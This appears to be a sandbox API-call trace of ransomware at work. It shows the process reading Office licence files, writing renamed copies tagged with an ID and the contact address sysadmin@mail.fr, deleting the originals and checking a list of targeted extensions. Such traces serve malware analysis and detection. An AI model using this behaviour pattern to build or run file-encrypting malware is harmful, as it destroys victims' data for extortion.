	[0176.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0176.190] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.190] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0176.192] GetLastError () returned 0x0
	[0176.192] ReadFile (in: hFile=0x2a8, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0176.196] WriteFile (in: hFile=0x418, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0176.197] ReadFile (in: hFile=0x2a8, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.197] WriteFile (in: hFile=0x418, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0176.197] SetEndOfFile (hFile=0x418) returned 1
	[0176.197] CloseHandle (hObject=0x418) returned 1
	[0176.197] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.198] SetEndOfFile (hFile=0x2a8) returned 1
	[0176.384] CloseHandle (hObject=0x2a8) returned 1
	[0176.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms")) returned 1
	[0176.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0176.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0176.831] lstrlenW (lpString=".doc") returned 4
	[0176.831] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.831] lstrlenW (lpString=".docx") returned 5
	[0176.831] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.831] lstrlenW (lpString=".pdf") returned 4
	[0176.831] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.831] lstrlenW (lpString=".xls") returned 4
	[0176.831] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.831] lstrlenW (lpString=".xlsx") returned 5
	[0176.831] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.832] lstrlenW (lpString=".ppt") returned 4
	[0176.832] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0176.832] lstrlenW (lpString=".zip") returned 4
	[0176.832] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.832] lstrlenW (lpString=".rar") returned 4
	[0176.832] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.832] lstrlenW (lpString=".bz2") returned 4
	[0176.832] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.832] lstrlenW (lpString=".7z") returned 3
	[0176.832] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0176.832] lstrlenW (lpString=".dbf") returned 4
	[0176.832] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0176.832] lstrlenW (lpString=".1cd") returned 4
	[0176.832] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0176.832] lstrlenW (lpString=".jpg") returned 4
	[0176.832] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.833] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11630) returned 1
	[0176.833] CloseHandle (hObject=0x398) returned 1
	[0176.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms")) returned 0x220
	[0176.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0176.834] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.834] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0176.835] GetLastError () returned 0x0
	[0176.835] ReadFile (in: hFile=0x398, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0176.913] WriteFile (in: hFile=0x540, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0176.914] ReadFile (in: hFile=0x398, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.914] WriteFile (in: hFile=0x540, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0176.914] SetEndOfFile (hFile=0x540) returned 1
	[0176.915] CloseHandle (hObject=0x540) returned 1
	[0176.915] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.915] SetEndOfFile (hFile=0x398) returned 1
	[0176.949] CloseHandle (hObject=0x398) returned 1
	[0176.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms")) returned 1
	[0176.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0176.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0176.951] lstrlenW (lpString=".doc") returned 4
	[0176.951] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.951] lstrlenW (lpString=".docx") returned 5
	[0176.951] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.951] lstrlenW (lpString=".pdf") returned 4
	[0176.951] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.951] lstrlenW (lpString=".xls") returned 4
	[0176.951] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.951] lstrlenW (lpString=".xlsx") returned 5
	[0176.951] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.951] lstrlenW (lpString=".ppt") returned 4
	[0177.234] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0177.234] lstrlenW (lpString=".zip") returned 4
	[0177.234] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.234] lstrlenW (lpString=".rar") returned 4
	[0177.234] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.234] lstrlenW (lpString=".bz2") returned 4
	[0177.234] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.234] lstrlenW (lpString=".7z") returned 3
	[0177.234] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0177.234] lstrlenW (lpString=".dbf") returned 4
	[0177.234] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0177.234] lstrlenW (lpString=".1cd") returned 4
	[0177.234] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0177.234] lstrlenW (lpString=".jpg") returned 4
	[0177.234] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.506] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11671) returned 1
	[0177.506] CloseHandle (hObject=0x470) returned 1
	[0177.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms")) returned 0x220
	[0177.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0177.507] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.507] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0177.509] GetLastError () returned 0x0
	[0177.509] ReadFile (in: hFile=0x470, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d97, lpOverlapped=0x0) returned 1
	[0177.600] WriteFile (in: hFile=0x418, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0177.602] ReadFile (in: hFile=0x470, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.602] WriteFile (in: hFile=0x418, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0177.602] SetEndOfFile (hFile=0x418) returned 1
	[0177.602] CloseHandle (hObject=0x418) returned 1
	[0177.602] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.602] SetEndOfFile (hFile=0x470) returned 1
	[0177.611] CloseHandle (hObject=0x470) returned 1
	[0177.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms")) returned 1
	[0177.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0177.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0177.613] lstrlenW (lpString=".doc") returned 4
	[0177.613] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.613] lstrlenW (lpString=".docx") returned 5
	[0177.613] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.613] lstrlenW (lpString=".pdf") returned 4
	[0177.613] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.613] lstrlenW (lpString=".xls") returned 4
	[0177.613] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.613] lstrlenW (lpString=".xlsx") returned 5
	[0177.613] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.613] lstrlenW (lpString=".ppt") returned 4
	[0177.613] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0177.614] lstrlenW (lpString=".zip") returned 4
	[0177.614] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.614] lstrlenW (lpString=".rar") returned 4
	[0177.614] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.614] lstrlenW (lpString=".bz2") returned 4
	[0177.614] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.614] lstrlenW (lpString=".7z") returned 3
	[0177.614] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0177.614] lstrlenW (lpString=".dbf") returned 4
	[0177.614] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0177.614] lstrlenW (lpString=".1cd") returned 4
	[0177.614] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0177.614] lstrlenW (lpString=".jpg") returned 4
	[0177.614] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.615] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11671) returned 1
	[0177.615] CloseHandle (hObject=0x470) returned 1
	[0177.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms")) returned 0x220
	[0177.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0177.616] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.616] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0177.617] GetLastError () returned 0x0
	[0177.617] ReadFile (in: hFile=0x470, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d97, lpOverlapped=0x0) returned 1
	[0177.642] WriteFile (in: hFile=0x418, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0177.643] ReadFile (in: hFile=0x470, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.643] WriteFile (in: hFile=0x418, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0177.643] SetEndOfFile (hFile=0x418) returned 1
	[0177.643] CloseHandle (hObject=0x418) returned 1
	[0177.643] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.644] SetEndOfFile (hFile=0x470) returned 1
	[0177.647] CloseHandle (hObject=0x470) returned 1
	[0177.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms")) returned 1
	[0178.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0178.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0178.036] lstrlenW (lpString=".doc") returned 4
	[0178.036] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.036] lstrlenW (lpString=".docx") returned 5
	[0178.036] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.036] lstrlenW (lpString=".pdf") returned 4
	[0178.036] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.036] lstrlenW (lpString=".xls") returned 4
	[0178.036] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.036] lstrlenW (lpString=".xlsx") returned 5
	[0178.036] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.036] lstrlenW (lpString=".ppt") returned 4
	[0178.036] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0178.036] lstrlenW (lpString=".zip") returned 4
	[0178.036] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.036] lstrlenW (lpString=".rar") returned 4
	[0178.036] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.036] lstrlenW (lpString=".bz2") returned 4
	[0178.036] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.036] lstrlenW (lpString=".7z") returned 3
	[0178.037] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0178.037] lstrlenW (lpString=".dbf") returned 4
	[0178.037] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0178.037] lstrlenW (lpString=".1cd") returned 4
	[0178.037] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0178.037] lstrlenW (lpString=".jpg") returned 4
	[0178.037] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596e00 | out: hHeap=0x4f0000) returned 1
	[0178.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54cf00 | out: hHeap=0x4f0000) returned 1
	[0178.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x393aeb8 | out: hHeap=0x4f0000) returned 1
	[0178.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4500048 | out: hHeap=0x4f0000) returned 1
	[0178.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x470c020 | out: hHeap=0x4f0000) returned 1
	[0178.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596d40 | out: hHeap=0x4f0000) returned 1
	[0178.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x4592080
	[0178.045] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4592080, Size=0x20) returned 0x45b0688
	[0178.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x4592080
	[0178.045] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4592080, Size=0x20) returned 0x45b06b0
	[0178.046] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.046] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.046] Wow64DisableWow64FsRedirection (in: OldValue=0x407ff50 | out: OldValue=0x407ff50*=0x1) returned 1
	[0178.046] lstrlenW (lpString="kernel32.dll") returned 12
